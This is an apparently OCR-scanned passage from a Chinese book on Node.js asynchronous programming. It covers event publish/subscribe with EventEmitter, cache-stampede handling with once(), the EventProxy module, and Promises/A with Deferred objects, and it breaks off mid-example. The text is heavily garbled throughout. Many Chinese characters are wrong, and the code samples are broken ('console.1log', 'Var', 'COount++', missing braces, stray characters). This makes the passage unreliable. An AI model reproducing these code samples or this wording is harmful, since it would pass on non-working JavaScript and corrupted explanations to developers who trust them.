程 ， 这 对 于 以 往 的 JavaScript 编 程 经 验 是 较 少 考虑 的 。 在 第 9 章 
中 ， 我 们 将 详细 分 析 Node 的 进程 ， 以 展开 这 部 分 内 容 。 

难点 5: 异步 转 同 步 

习惯 异步 编程 的 同学 ， 也 许 能 够 从 容 面 对 异步 编程 带 来 的 副 产 
品 ， 比 如 网 套 回 调 、 业 务 分 散 等 问题 。Node 提 供 了 绝 大 部 分 的 
异步 API 和 少量 的 同步 API， 偶 尔 出 现 的 同步 需求 将 会 因为 没有 
同步 API 让 开发 者 突然 无 所 适 从 。 目 前 ，Node 中 试图 同步 式 编 
程 ， 但 并 不 能 得 到 原生 支持 ， 需 要 借助 库 或 者 编译 等 手段 来 实 
现 。 但 对 于 异步 调用 ， 通 过 良好 的 流程 控制 ， 还 是 能 够 将 逻辑 
完 理 成 顺序 式 的 形式 。 


4.3 ”异步 编程 解决 方案 

前 面 列 誉 了 因 和 异步 编程 市 米 的 一 毕 问 题 ， 与 借 步 编程 近 升 的 性 能 成 琳 相 
比 ， 编 程 过 程 看 起 来 似乎 没有 想象 中 那么 美好 ， 但 是 事实 却 也 没有 那么 
糟 料 。 与 问题 相 比 ， 解 决 问题 的 方案 总 是 更 多 ， 本 市 将 展开 各 个 典型 的 
解决 方案 。 

目前 ， 异 步 编程 的 主要 解决 方案 有 如 下 3 种 。 


。 事件 发 布 /订阅 模式 。 
。 Promise/Deferred 模 式 。 
。 流程 控制 库 。 


4.3.1 事件 发 布 /订阅 模式 
事件 监听 右 模 式 是 一 种 广泛 用 于 异步 编程 的 模式 ， 是 回调 函数 的 事件 
化 ， 又 称 发 布 /订阅 模式 。 
Node 目 身 提 供 的 events 模 块 (http://nodejs.org/docs/latest/api/events.html) 是 
发 布 /订阅 模式 的 一 个 简单 实现 ，Node 中 部 分 模块 都 继承 自 它 ， 这 个 模块 
比 前 端 浏览 器 中 的 大 量 DOM 事 件 人 简单， 不 存在 事件 冒 泡 ， 也 不 存在 
preventDefault() 、 ri ttt 递 的 
方法 它 具有 addListener/on()、 、 removeListener() 、 removeAllListeners() 和 
it0 等 基本 的 事件 监听 模式 的 方法 实现 ” 事件 发 布 /订阅 模式 的 操作 极其 
简单 ， 示 例 代码 如 下 : 

// 订阅 

emitter.on("event1", function (message) { 

console.1log(message); 


}); 
// 发 布 
emitter.emit('event1', "I am message!"); 


可 以 看 到 ， 订 阅 事 件 就 是 一 个 高 阶 函 数 的 应 用 。 事 件 发 布 /订阅 模式 可 以 
实现 一 个 事件 与 多 个 回调 函数 的 关联 ， 这 些 回 调 函 数 又 称 为 事件 侦 听 
器 。 通 过 enitO 发 布 事件 后 ， 消 筷 会 立即 传递 给 当前 事件 的 所 有 侦 听 器 执 
行 。 侦 昕 万 可 以 很 灵活 地 添加 和 删除 ， 使 得 事件 和 具体 处 理 逻 往 之 间 可 
以 很 轻松 地 关联 和 解 耘 。 

事件 发 布 /订阅 模式 自身 并 无 同步 和 异步 调用 的 问题 ， 但 在 Node 中 ，enit() 
调用 多 半 有 是 伴随 事件 循环 而 异步 触发 的 ， 所 以 我 们 说 事件 发 布 /订阅 广泛 
应 用 于 异步 编程 。 

事件 发 布 /订阅 模式 常 第 用 来 解 厢 业务 逻辑 ， 事 件 发 布 者 无 须 关 注 订阅 的 
侦 听 夷 如 何 实现 业务 逻辑 ， 甚 至 不 用 关注 有 多 少 个 侦 听 亏 存 在 ， 数 据 通 


过 消息 的 方式 可 以 很 灵活 地 传递 。 在 一 些 典型 场景 中 ， 可 以 通过 事件 发 
布 /订阅 模式 进行 组 件 封装 ， 将 不 变 的 部 分 封装 在 组 件 内 部 ， 将 容易 变 
化 、 需 自 定义 的 部 分 通过 事件 暴露 给 外 部 处 理 ， 这 是 一 种 典型 的 逻辑 分 
离 方式 。 在 这 种 事件 发 布 /订阅 式 组 件 中 ， 事 件 的 设计 非常 重要 ， 因 为 它 
关乎 外 部 调用 组 件 时 是 否 优雅 ， 从 某 种 角度 来 说 事件 的 设计 就 是 组 件 的 
接口 设计 。 
从 男 一 个 角度 来 看 ， 事 件 侦 听 峰 模 式 也 是 一 种 钩子 (hook) 机 制 ， 利 用 
钩子 导出 内 部 数据 或 状态 给 外 部 的 调用 者 。Node 中 的 很 多 对 象 大 多 具有 
墨盒 的 特点 ， 功 能 点 较 少 ， 如 果 不 通过 事件 钩子 的 形式 ， 我 们 就 无 法 获 
取 对 象 在 运行 期 间 的 中 间 值 或 内 部 状态 。 这 种 通过 事件 钩子 的 方式 ， 可 
以 使 编程 者 不 用 关注 组 件 是 如 何 启 动 和 执行 的 ， 只 需 关 注 在 需要 的 事件 
点 上 即 可 。 下 面 的 HTTP 请 求 是 典型 场景 : 

ON 

port: 80, 


path: '/upload', 
method: 'POST' 


var req = http.request(options, function (res) { 
console.log('STATUS: ' + res.statusCode); 
console.log('HEADERS: ' + JSON.stringify(res.headers)); 
res.setEncoding('utf8'"); 
res.on('data', function (chunk) { 
console.log('BODY: ' + chunk); 


res.on('end', function () { 


// TODO 
}); 
}); 
req.on('error', function (e) 
console.log('problem with request: ' + e.message); 


}); 

// write data to request body 
req.write('data\n'); 
req.write('data\n'); 
req.end(); 


在 这 上段 HTTP 请 求 的 代码 中 ， 程序 员 只 需要 将 视线 放 在 error 、 data 、 end 这 些 
业务 事件 点 上 即 可 ， 至 于 内 部 的 流程 如 何 ， 无 需 过 于 关注 。 


值得 一 提 的 是 ，Node 对 事件 发 布 /订阅 的 机 制 做 了 一 些 额外 的 处 理 ， 这 大 
多 是 基于 健壮 性 而 考虑 的 。 下 面 为 两 个 具体 的 细 世 点 。 


。 如 果 对 一 个 事件 添加 了 超过 10 个 侦 听 如 ， 将 会 得 到 一 条 和 警告。 
这 一 处 设计 与 Node 上 自身 单线 程 运行 有 关 ， 设 计 者 认为 侦 听 器 太 
多 可 能 导致 内 存 泄 漏 ， 所 以 存在 这 样 一 条 和 警告 。 调 用 
emitter.setMaxListeners(0); 可 以 将 这 个 限制 去 掉 © 另 一 方面 ， 由 于 


事件 发 布 会 引起 一 系列 侦 听 器 执行 ， 如 果 事 件 相 关 的 侦 听 器 过 
多 ， 可 能 存在 过 多 占用 CPU 的 情景 。 
为 了 处 理 异 常 ， EventEmitter 对 象 对 error 事 件 进行 了 特殊 对 答 如 
条 运行 期 辐 的 错误 触发 守 error 事 件 ， EventEmitter 会 检查 是 否 有 对 
error 事 件 添加 过 侦 听 器。 如 果 添 加 了 ， 这 个 错误 将 会 交 由 该 侦 听 
妖 处 理 ， 否 则 这 个 错误 将 会 作为 异常 抛 出 。 如 有 果 外 部 没有 捕获 
1 个 于 部， 将 会 引起 线程 退出 王 一 个 健壮 的 Eventemitter 实 例 应 该 
对 error 事 件 做 处 理 人 

继承 events 模 块 

实现 一 个 继承 EventEmitter 的 类 是 十 分 简单 的 ， 以 下 代码 是 

Node 中 strean 对 象 继 承 EventEmitter 的 例子 : 


var events = require('events'); 


function Stream { 
events,.EventEmitter.call(this); 


} 
util.inherits(Stream, events.EventEmitter); 


Node 在 util 模 块 中 封装 了 继承 的 方法 ， 所 以 此 处 可 以 很 便利 
地 调用 。 开 发 者 可 以 通过 这 样 的 方式 轻松 继承 EventEmitter 
类 ， 利 用 事件 机 制 解决 业务 问题 。 在 Node 提 供 的 核心 模块 
中 ， 有 近 半 数 都 继承 上 自 EventEmitter 9 

利用 事件 队列 解决 雪崩 问题 

在 事件 订阅 /发 布 模式 中 ， 通 常 也 有 一 个 once() 方 法 ， 通 过 它 
添加 的 侦 听 器 只 能 执行 一 次 ， 在 执行 之 后 束 会 将 它 与 事件 
的 关联 移 除 。 这 个 特性 常常 可 以 帮助 我 们 过 滤 一 些 重复 性 
a 。 下 面 我 们 介绍 一 下 如 何 采 用 once() 来 解决 雪 朋 
问题 。 

在 计算 机 中 ， 缓 存 由 于 存放 在 内 存 中 ， 访 问 速度 十 分 快 ， 
常常 用 于 加 速 数据 访问 ， 让 绝 大 多 数 的 请 求 不 必 重 复 去 做 
一 些 低 效 的 数据 读 取 。 所 谓 雪 月 问题 ， 就 是 在 高 访问 量 、 
大 并 发 量 的 情况 下 缓存 失效 的 情景 ， 此 时 大 量 的 请 求 同 时 
请 入 数据 库 中 ， 数 据 库 无 法 同时 承受 如 此 大 的 查询 请 求 ， 
进而 往 前 影响 到 网 站 整体 的 啊 应 速度 。 

以 下 是 一 条 数据 库 查 询 语句 的 调用 : 


var select = function (callback) { 
db.select("SQL", function (results) { 
callback(results); 


}; 


如 果 站 点 刚好 启动 ， 这 时 缓存 中 是 不 存在 数据 的 ， 而 如 果 
访问 量 巨 大 ， 同 一 名 SQL 会 被 发 送 到 数据 库 中 反复 查询 ， 会 
影响 服务 的 整体 性 能 。 一 种 改进 方案 是 添加 一 个 状态 锁 ， 
相关 代码 如 下 : 


Var status = "ready"; 
var select = function (callback) { 
if (status === "ready") { 
status = "pending"; 
db.select("SQL", function (results) { 
status = "ready"; 
callback(results); 


} 
}; 
但 是 在 这 种 情景 下 ， 连 续 地 多 次 调用 seaect0 时 ， 只 有 第 一 次 
调用 是 生效 的 ， 后 续 的 select() 是 没有 数据 服务 的 ， 这 个 时 候 
可 以 引入 事件 队列 ， 相 关 代 码 如 下 : 


var proxy = new events.EventEmitter(); 
Var Status = "ready"; 
var select = function (callback) { 
proxy.once("selected", callback); 
if (status === "ready") { 

status = "pending"; 

db.select("SQL", function (results) { 

proxy.emit("selected", results); 

status = "ready"; 

}); 
省 
}; 
这 里 我 们 利用 了 onceg 方 法 ， 将 所 有 请 求 的 回调 都 压 入 事件 
队列 中 ， 利 用 其 执行 一 次 就 会 将 监视 器 移 除 的 特点 ， 保 证 
每 一 个 回调 只 会 被 执行 一 次 。 对 于 相同 的 SQL 语句 ， 保 证 在 
同一 个 查询 开始 到 结束 的 过 程 中 永远 只 有 一 次 。 SQL 在 进行 
查询 时 ， 新 到 来 的 相同 调用 只 需 在 队列 中 等 竺 数据 就 绪 即 
可 ,一 旦 查询 结束 ， 得 到 的 结果 可 以 被 这 些 调用 共同 使 
用 。 这 种 方式 能 节省 重复 的 数据 库 调 用 产生 的 开销 。 由 于 
Node 单 线程 执行 的 原因 ， 此 处 无 须 担心 状态 同步 问题 。 这 
种 方式 其 实 也 可 以 应 用 到 其 他 远程 调用 的 场景 中 ， 即 使 外 
部 没有 缓存 策略 ， 也 能 有 效 节 省 重复 开销 。 
此 处 可 能 因为 存在 侦 听 器 过 多 引发 的 警告 ， 需 要 调用 
setMaxListeners(0) 移 除 掉 警告 ， 或 者 设 更 大 的 警告 阐 值 2 
once() 方 法 产生 的 效果 ， 也 可 以 在 著名 的 Gearman 异 步 应 用 框 
架 中 实现 。 但 在 JavaScript 中 ， 实 现 这 个 效果 十 分 容易 。 


多 异步 之 间 的 协作 方案 


事件 发 布 /订阅 模式 有 着 它 的 优点 。 利 用 高 阶 画 数 的 优势 ， 
侦 听 器 作为 回调 函数 可 以 随意 添加 和 删除 ， 它 帮助 开发 者 
轻松 处 理 随时 可 能 添加 的 业务 逻辑 。 也 可 以 隔离 业务 逻 
辑 ， 保 持 业 务 逻 辑 单元 的 职责 单一 。 一 般 而 言 ， 事 件 与 侦 
听 需 的 关系 是 一 对 多 ， 但 在 异步 编程 中 ， 也 会 出 现 事件 与 
侦 听 噩 的 关系 是 多 对 一 的 情况 ， 也 了 就 是 说 一 个 业务 逻辑 可 
能 依赖 两 个 通过 回调 或 事件 传递 的 结果 。 前 面 提 及 的 回调 
区 套 过 深 的 原因 即 古 如 此 。 

这 里 我 们 洋 试 通过 原生 代码 解决 “难点 2” 中 为 了 最 终结 来 的 
处 理 而 导致 可 以 并 行 调用 但 实际 只 能 串 行 执行 的 问题 。 我 
们 的 目标 是 既 要 享受 异步 1/O 市 来 的 性 能 提升 ， 也 要 保持 民 
好 的 编码 风格 。 这 里 以 演 染 页 面 所 需要 的 模板 读 取 、 数 据 
ee 相关 代码 如 


var count = 0; 

var results = {}; 

var done = function (key, value) { 
results[key] = value; 


Count++; 


if (count === 3) { 
// 演 染 页 面 
render(results ) ; 
上 
}; 


fs.readFile(template path, "utf8", function (err, template) { 
done("template", template); 
}); 


db.query(sql, function (err, data) { 
done("data", data); 


了 
lion.get(function (err, resources) { 
done("resources", resources); 


}); 


由 于 多 个 异步 场景 中 回调 函数 的 执行 并 不 能 保证 顺序 ， 且 
回调 函数 之 间 互 相 没 有 任何 交集 ， 所 以 需要 借助 一 个 第 三 
方 画 数 和 第 三 方 变 量 来 处 理 异 步 协作 的 结 末 。 通 彰 ， 我 们 
把 这 个 用 于 检测 次 数 的 变量 叫做 哨兵 变量 。 聪 明 的 你 也 许 
已 经 想到 利用 偏 函 数 来 处 理 哨 兵变 量 和 第 三 方 画 数 的 关系 
了 ， 相 关 代 码 如 下 : 


var after = function (times, callback) { 
var count = 0, results = {}; 
return function (key, value) { 
results[key] = value; 
COount++; 
if (count === times) { 
callback(results); 


}; 
}; 


var done = after(times, render); 


上 述 方 案 实 现 了 多 对 一 的 目的 。 如 采 业 务 继续 增长 ， 我 们 
和 式 来 完成 多 对 多 的 方案 ， 相 
类 代码 如 下 


var emitter = new events.Emitter(); 
var done = after(times, render); 


emitter.on("done", done); 
emitter.on("done", other); 


fs.readFile(template_ path, "utf8", function (err, template) { 
emitter.emit("done", "template", template); 


}); 
db.query(sql, function (err, data) { 
emitter.emit("done", "data", data); 


/ 
lion.get(function (err, resources) { 
emitter.emit("done", "resources", resources); 


}); 


这 种 方案 结合 了 前 者 用 简单 的 偏 函数 完成 多 对 一 的 收敛 和 
事件 订阅 /发 布 模式 中 一 对 多 的 发 散 。 

在 上 面 的 方法 中 ， 有 一 个 令 调 用 者 不 那么 舒服 的 问题 ， 那 
束 是 调用 者 要 去 准备 这 个 gone() 落 数 ， 以 及 在 回调 函数 中 需 
要 从 结果 中 把 数据 一 个 一 个 提取 出 来 ， 再 进行 处 理 。 

男 一 个 方案 则 是 来 自 笔 者 自己 写 的 EventProxy 模 块 ， 它 是 对 
事件 订阅 /发 布 模式 的 扩充 ， 可 以 自由 订阅 组 合 事件 。 由 于 
ne 与 Node 十 分 契合 ， 相 关 

马 如 下 . 


var proxy = new EventProxy(); 


proxy.all("template", "data", "resources", function (template, data, res 
ources) { 
// TODO 


}); 


fs.readFile(template _ path, "utf8", function (err, template) { 
proxy.emit("template", template); 
) 


db.query(sql, function (err, data) { 
proxy.emit("data", data); 


k 
lion.get(function (err, resources) { 
proxy.emit("resources", resources); 


}); 


EventProxy 提 供 了 一 个 al0) 方 法 来 订阅 多 个 事件 ， 当 每 个 事 
件 都 被 触发 之 后 ， 侦 昕 器 才 会 执行 。 另 外 的 一 个 方法 是 


tail() 方 法 ， 它 与 al0) 方 法 的 区 别 在 于 aa0 方 法 的 侦 听 天 在 满 
足 条 件 之 后 只 会 执行 一 次 ，taii0 方 法 的 侦 听 器 则 在 满足 条 
件 时 执行 一 次 之 后 ， 如 有 果 组 合 事件 中 的 某 个 事件 说 再 次 触 
发 ， 侦 听 器 会 用 最 新 的 数据 继续 执行 。 

all() 方 法 带 来 的 另 一 个 改进 则 是 : 在 侦 听 器 中 返回 数据 的 参 
数列 表 与 订阅 组 合 事件 的 事件 列表 十 一 致 对 应 的 。 

除 此 之 外 ， 在 异步 的 场景 下 ， 我 们 常常 需要 从 一 个 接口 多 
次 读 取 数据 ， 此 时 触发 的 事件 名 或 许 是 相同 的 。EventProxy 
提供 了 arter() 方 法 来 实现 事件 在 执行 多 少 次 后 执行 侦 听 器 的 
单一 事件 组 合 订阅 方式 ， 示 例 代 码 如 下 : 


var proxy = new EventProxy(); 


proxy.after("data", 10, function (datas) { 
// TODO 
}); 


这 段 代 码 表示 执行 10 次 uata 事 件 后 执行 侦 听 器 。 这 个 侦 听 器 
得 到 的 数据 为 10 次 按 事件 触发 次 序 排 序 的 数组 。 
EventProxy 模 块 除 了 可 以 应 用 于 Node 中 外 ， 还 可 以 用 在 前 端 
浏 咒 硕 中 。 

EventProxy 的 原理 


EventProxy 来 目 于 Backbone 的 事件 模块 ，Backbone 的 事件 模 
块 是 Model、View 模 块 的 基础 功能 ， 在 前 端 有 广泛 的 使 用 。 
0 相 天 代码 
ss 


// Trigger an event, firing all bound callbacks. Callbacks are passed th 
e 
// same arguments as ‘trigger is, apart from the event name ， 
// Listening for ‘"all". passes the true event name as the first argumen 
t 
trigger : function(eventName) { 
var list, calls, ev, callback, args; 
var both = 2; 
If (!(calls = this. callbacks)) return this,; 
while (both--) { 
ev = both ? eventName : 'all'; 
if (list = calls[ev]) { 
for (var i = 0, 1 = list.length; i < 1]; i++) { 
If (!(callback = list[i])) { 
list,.splice(i, 1); i--; 1--; 
} else { 
args = both ? Array.prototype.slice.call(arguments, 1) : argum 
ents; 
callback[0].apply(callback[1] || this, args); 


return this; 


} 


EventProxy 则 是 将 aa 当做 一 个 事件 流 的 拦截 层 ， 在 其 中 注入 
一 些 业 务 来 处 理 单一 事件 无 法 解决 的 异步 处 理 问题 。 类 似 
的 扩展 方法 还 有 al1() ”i “i not() 和 any() 等 © 


EventProxy 的 异常 处 理 


EventProxy 伍 事件 发 布 /t] 阅 模 式 的 基础 上 还 完善 了 异常 处 

理 。 在 异步 方法 中 ， 异 常 处 理 需 要 占用 一 ee 

= 段 时 间 内 我 们 都 是 通 过 额外 添加 error 事 件 来 进 
党 统一 处 理 的 ， 代 码 大 人 致 如 下 : 


exports.getCcontent = function (callback) { 
Var ep = new EventProxy(); 
ep.all('tpl', 'data', function (tpl, data) { 
// 成 功 回调 
callback(null, { 
template: tpJ]， 


A 俩 时 error 事件 
ep.bind('error', function (err) { 
// 逢 载 掉 所 有 处 理 画 数 
ep. unbind( ); 
// 异常 回调 
callback(err); 


}); 
fs.readFile('template.tpl', 'utf-8', function (err, content) { 
if. (err), { 
// 一 旦 发 生 异常 ， 律 交 给 error 事 件 的 处 理 画 数 处 理 
return ep.emit('error', err); 


} 
ep.emit('tpl', content); 


db.get('some sql', function (err, result) { 
if (err) 抑 
// 一 旦 发 生 异常 一律 交 给 error 事 件 的 处 理 画 数 处 理 
return ep.emit('error', err); 


上 
ep.emit('data', result); 


了 


因为 异常 处 理 的 原因 ， 代 码 量 一 下 子 多 起 来 了 ， 而 
EventProxy 在 实践 过 程 中 改进 了 这 个 六 问题 ， 相关 代码 如 下 : 


exports.getCcontent = function (callback) { 
var ep = new EventProxy(); 
ep.all('tpl', 'data', function (tpl, data) { 
// 成 功 回调 
callback(null, { 
template: tpl, 
data: data 


} 
// 绑 定 错误 处 理 画 数 


ep.falil(callback ) ; 


fs.readFile('template.tpl', 'utf-8', ep.done('tpl1')); 
db.get('some sql', ep.done('data')); 


学 


在 上 述 代 码 中 ，EventProxy 提 供 了 fail0 和 done(0) 这 两 个 实例 
方法 来 优化 异常 处 理 ， 使 得 开发 者 将 精力 关注 在 业务 部 
分 ， 而 不 是 在 异常 捕获 上 。 

天 于 fail() 方 法 的 实现 ， 可 以 参见 以 下 的 变换 : 


ep.fail(callback); 


上 面 这 行 代码 等 价 于 下 面 的 代码 : 
ep.fail(function (err) { 

callback(err); 
}); 


又 等 价 于 : 


ep.bind('error', function (err) { 
// 逢 载 掉 所 有 处 理 画 数 
ep.unbind() 
// 异常 回调 
callback(err); 
}); 


而 done(0) 方 法 的 实现 ， 也 可 参见 以 下 的 变换 : 


ep.done('tpl'); 


它 等 价 于 : 


function (err, content) { 

if (err) { 

// 一 旦 发 生 异常 ， 一 律 交 给 error 事 件 处 理 范 数 处 理 
return ep.emit('error', err); 


} 
ep.emit('tpl', content); 


同时 ，done() 方 法 也 接受 一 个 函数 作为 参数 ， 相 关 代 码 如 下 
所 示 : 
ep.done(function (content) { 

// TODO 


// 这 里 无 须 考 虑 异常 
ep.emit('tpl', content); 


了 


入 用 A (人 
这 段 代码 等 价 于 : 
function (err, content) { 
if (err) { 
// 一 旦 发 生 异 常 ， 一 律 交 给 error 事 件 的 处 理 画 数 处 理 
return ep.emit('error', err); 


(function (content) { 
// TODO 
// 这 里 无 须 考虑 异常 


ep.emit('tpl', content); 
}(content)); 


当 只 传 入 一 个 回调 函数 时 ， 需 要 手工 调用 emit0) 触 发 事件 。 
个 改进 是 同时 传 入 事件 名 和 回调 函数 ， 相 关 代 码 如 


ep.done('tpl', function (content ) { 
Xf/ ne replace('s', SS 
// TOD 
// 元 须 关 注 异 常 
return content,; 


}); 


在 这 种 方式 下， 我 们 无 须 在 回调 函数 中 处 理事 件 的 触发 ， 
只 需 将 处 理 过 的 数据 返回 即 可 。 返 回 的 结果 将 在 done() 方 法 
中 用 作 事件 的 数据 而 触发 。 


这 里 的 fail() 和 goneO) 十 分 类 似 Promise 模 式 中 的 faii() 和 gone()。 

换 句 话 而 言 ， 这 可 以 算 作 事件 发 布 /订阅 模式 回 Promise 模 式 

J 这 样 的 完善 既 提 升 了 程序 的 健壮 性 ， 同 时 也 降低 
量 。 


4.3.2 ”Promise/Deferred 模 式 


使 用 事件 的 方式 时 ， 执 行 流程 需要 被 预先 设 定 。 即 便 是 分 文 ， 也 需要 预 
全 这 是 由 发 布 /订阅 模式 的 运行 机 制 所 决定 的 。 下 面 为 普通 的 Ajax 
调用 : 

$.get('/api', { 


error: onError, 
complete: onComplete 


在 上 面 的 异步 调用 中 ， 必 须 严 谨 地 设置 目标 。 那 么 是 否 有 一 种 先 执行 异 
步调 用 ， 延 迟 传递 处 理 的 方式 呢 ? 答案 是 Promise/Deferred 模 式 。 
Promise/Deferred 模 式 在 JavaScript 框 架 中 最 早出 现 于 Dojo 的 代码 中 ， 被 广 
为 所 知 则 来 自 于 jQuery 1.5 版 本 ， 该 版 本 几乎 重 写 了 Ajax 部 分 ， 使 得 调用 
Ajax 时 可 以 通过 如 下 的 形式 进行 : 
$.get('/api') 
.SUucCcess(onSuccess) 


.error(onError) 
.Ccomplete(oncomplete); 


这 使 得 即使 不 调用 sucecess0、error0) 等 方法 ，Ajax 也 会 执行 ， 这 样 的 调用 方 
式 比 预先 传 入 回调 让 人 觉得 舒适 一 些 。 在 原始 的 API 中 ， 一 个 事件 只 能 处 
理 一 个 回调 ， 而 通过 Deferred 对 象 ， 可 以 对 事件 加 入 任意 的 业务 处 理 罗 
辑 ， 示 例 代 码 如 下 : 

$.get('/api') 


.SUuCcCess(onSuccess1) 
,SUCCess(onSuccess2); 


Promise/Deferred 模 式 在 2009 年 时 被 Kris Zyp 抽 象 为 一 个 提议 草案 ， 发 布 在 
CommonJS 规 范 中 。 随 着 使 用 Promise/Deferred 模 式 的 应 用 逐渐 增多 ， 
CommonJS 草 案 目 前 已 经 抽象 出 了 Promises/A、Promises/B、Promises/D 这 
样 典 型 的 异步 Promise/Deferred 模 型 ， 这 使 得 异步 操作 可 以 以 一 种 优雅 的 
方式 出 现 。 

异步 的 广度 使 用 使 得 回调 、 般 套 出 现 ， 但 是 一 旦 出 现 深度 的 嵌 套 ， 束 会 
让 编程 的 体验 变 得 不 愉快 ， 而 Promise/Deferred 模 式 在 一 定 程 度 上 缓解 了 
这 个 问题 。 这 里 我 们 将 着 重 介 绍 Promises 人 A 来 以 点 代 面 介绍 
Promise/Deferred 模 式 。 


1. Promises/A 
Promise/Deferred 模 式 其 实 包含 两 部 分 ， 即 Promise 和 Deferred。 这 
里 暂且 不 提 两 者 的 区 别 是 什么 ， 先 看 看 Promises/A 的 行为 吧 。 
i 步 操 作 做 出 了 这 样 的 抽象 定义 ， 具 体 如 
A 
o Promise 操 作 只 会 处 在 3 种 状态 的 一 种 : 未 完成 态 、 完 成 态 和 
失败 态 。 
o Promise 的 状态 只 会 出 现 从 未 完成 态 向 完成 态 或 失败 态 转 
化 ， 不 能 逆反 。 完 成 态 和 失败 态 不 能 互相 转化 。 
o Promise 的 状态 一 旦 转化 ， 将 不 能 被 更 改 。 
Promise 的 状态 转化 示意 图 如 图 4-4 所 示 。 


图 4-4 ”Promise 的 状态 转化 示意 图 
在 API 的 定义 上 ，Promises/A 提 议 是 比较 简单 的 。 一 个 Promise 对 
象 只 要 具备 then() 方 法 即 可 。 但 是 对 于 then() 方 法 ， 有 以 下 简单 的 
接受 完成 态 、 错 误 态 的 回调 方法 。 在 操作 完成 或 出 现 错误 
时 ， 将 会 调用 对 应 方法 。 
可 选 地 支持 progress 事 件 回调 作为 第 三 个 方法 3 
then() 方 法 只 接受 function 对 象 ， 其 余 对 象 将 被 忽略 a 
then() 方 法 继续 返回 promise 对 象 ， 以 实现 链 式 调用 ° 
then() 方 法 的 定义 如 下 : 
then(fulfilledHandler, errorHandler, progressHandler) 
为 了 演示 Promises/A 提 议 ， 这 里 我 们 党 斌 通过 继承 Node 和 的 events 
模块 来 完成 一 个 简单 的 实现 ， 相 关 代 码 如 下 : 


var Promise = function () { 
EventEmitter.call(this); 


util.inherits(Promise, EventEmitter); 


Promise.prototype.then = function (fulfilledHandler, errorHandler, progressHa 
ndler) { 
If (typeof fulfilledHandler === 'function') { 
// 利用 once( ) 方 法 ， 保 证 成 功 回 调 只 执行 一 次 
this.once('success', fulfilledHandler); 


If (typeof errorHandler === 'function') { 
// 利用 once( ) 方 法 ， 保 证 异常 回调 只 执行 一 次 
this.once('error', errorHandler); 


If (typeof progressHandler === 'function') { 
this.on('progress', progressHandler); 


return this; 


}; 


这 里 看 到 tnen() 方 法 所 做 的 事情 是 将 回调 函数 存放 起 来 。 为 了 完 
成 整个 流程 ， 还 需要 和 触发 执行 这 些 回调 函数 的 地 方 ， 实 现 这 些 
功能 的 对 象 通常 被 称 为 Deferred， 即 延迟 对 象 ， 示 例 代 码 如 下 : 


var Deferred = function () { 
this.state = 'unfulfilled'; 
this.promise = new Promise(); 


}; 


Deferred.prototype.resolve = function (obj) { 
this.state = 'fulfilled'; 
this.promise.emit('success', 0bj); 


}; 


Deferred.prototype.reject = function (err) { 
this.state = 'failed'; 
this.promise.emit('error', err); 

}; 

Deferred.prototype.progress = function (data) { 


this.promise.emit('progress', data); 


}; 


这 里 的 状态 和 方法 之 间 的 对 应 关系 如 图 4-5 所 示 。 


Re 2 IeSOlVe 


图 4-5 ”状态 和 方法 之 间 的 对 应 关系 
利用 Promises/A 提 议 的 模式 ， 我 们 可 以 对 一 个 典型 的 啊 应 对 象 进 
行 封 狐 ， 相 天 代码 如 下 : 


res.setEncoding('utf8"'); 
res.on('data', function (chunk) { 
console.log('BODY: ' + chunk); 


}); 

res.on('end', function () { 
// Done 

}); 

res.on('error', function (err) { 
// Error 

}); 


上 述 代码 可 以 转换 为 如 下 的 简略 形式 : 


res.then(function () { 
// Done 

}, function (err) { 
// Error 

}, function (chunk) { 
console.log('BODY: ' + chunk); 


}); 


0 只 需要 简单 地 改造 一 下 即 可 ， 相 关 代 码 
个: 


var promisify = function (res) { 

var deferred = new Deferred(); 

Var result = ''， 

res.on('data', function (chunk) { 
result += chunk; 
deferred.progress(chunk); 

}); 

res.on('end', function () { 
deferred.resolve(result); 

}); 

res.on('error', function (err) { 
deferred.reject(err); 


7 
return deferred.promise; 


}; 


如 此 就 得 到 了 简单 的 结果 这 里 返回 deferred.promise 的 目 的 是 为 了 
不 让 外 部 程序 调用 resolve() 和 reject() 方 法 ， 更 改 内 部 状态 的 行为 
交 由 定义 者 处 理 。 下 面 为 定义 好 Promise 后 的 调用 示例 : 


promisify(res).then(function () { 
// Done 
}, function (err) { 
jp -Error 
}, function (chunk) { 
// progress 
console.log('BODY: ' + chunk); 


}); 


这 里 回 到 Promise 和 Deferred 的 差别 上 。 从 上 面 的 代码 可 以 看 出 ， 
Deferred 主 要 是 用 于 内 部 ， 用 于 维护 异步 模型 的 状态 ，Promise 则 
作用 于 外 部 ， 通 过 then0) 方 法 暴露 给 外 部 以 添加 自 定 义 逻 辑 。 
Promise 和 Deferred 的 整体 关系 如 图 4-6 所 示 。 
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图 4-6 ”Promise 和 Deferred 整 体 关 系 示意 图 


与 事件 发 布 /订阅 模式 相 比 ，Promise/Deferred 模 式 的 API 接 口 和 
抽象 模型 都 十 分 简洁 。 从 图 4-6 中 也 可 以 看 出 ， 它 将 业务 中 不 可 
变 的 部 分 封装 在 了 Deferred 中 ， 将 可 变 的 部 分 交 给 了 Promise。 此 
时 间 题 就 来 了 ， 对 于 不 同 的 场景 ， 都 需要 去 封装 和 改造 其 
Deferred 部 分 ， 然 后 才能 得 到 简洁 的 接口 。 如 果 场 景 不 常用 ， 封 
装 花 费 的 时 间 与 市 来 的 简洁 相 比 并 不 一 定 划 算 。 
Promise 是 高 级 接口 ， 事 件 是 低级 接口 。 低 级 接口 可 以 构成 更 多 
更 复杂 的 场景 ， 高 级 接口 一 旦 定义 ， 不 太 容 易 变化 ， 不 再 有 低 
级 接口 的 灵活 性 ， 但 对 于 解决 典型 问题 非常 有 效 。Promises 人 A 的 
模型 抽象 在 几 种 Promise 提 议 中 相对 简洁 。 

这 里 再 介绍 一 下 Q。Q 模 块 是 Promises/A 规 范 的 一 个 实现 ， 可 以 
通过 npm install q 进 行 安 装 使 用 。 它 对 Node 中 和 常 见 回调 函数 的 
Promise 实 现 如 下 : 


** 
* Creates a Node-style callback that will resolve or reject the deferred 
* promise. 
* Q@returns a nodeback 
wh 


promise 


then(fulfilledHandler,errorHandler) 


defer .prototype.makeNodeResolver = function () { 
var self = this; 
return function (error, value) { 
if (error) { 
self.reject(error); 
} else if (arguments.length > 2) { 
self.resolve(array_slice(arguments, 1)); 
} else { 
self.resolve(value); 
} 
}; 
}; 


可 以 看 到 这 里 是 一 个 高 阶 函 数 的 使 用 ， makeNodeResolver 返 回 了 一 个 
Node 风 格 的 回调 函数 。 对 于 fs.readrile(0) 的 调用 ， 将 会 演化 为 如 下 
形式 : 
var readFile = function (file, encoding) { 

var deferred = Q.defer(); 

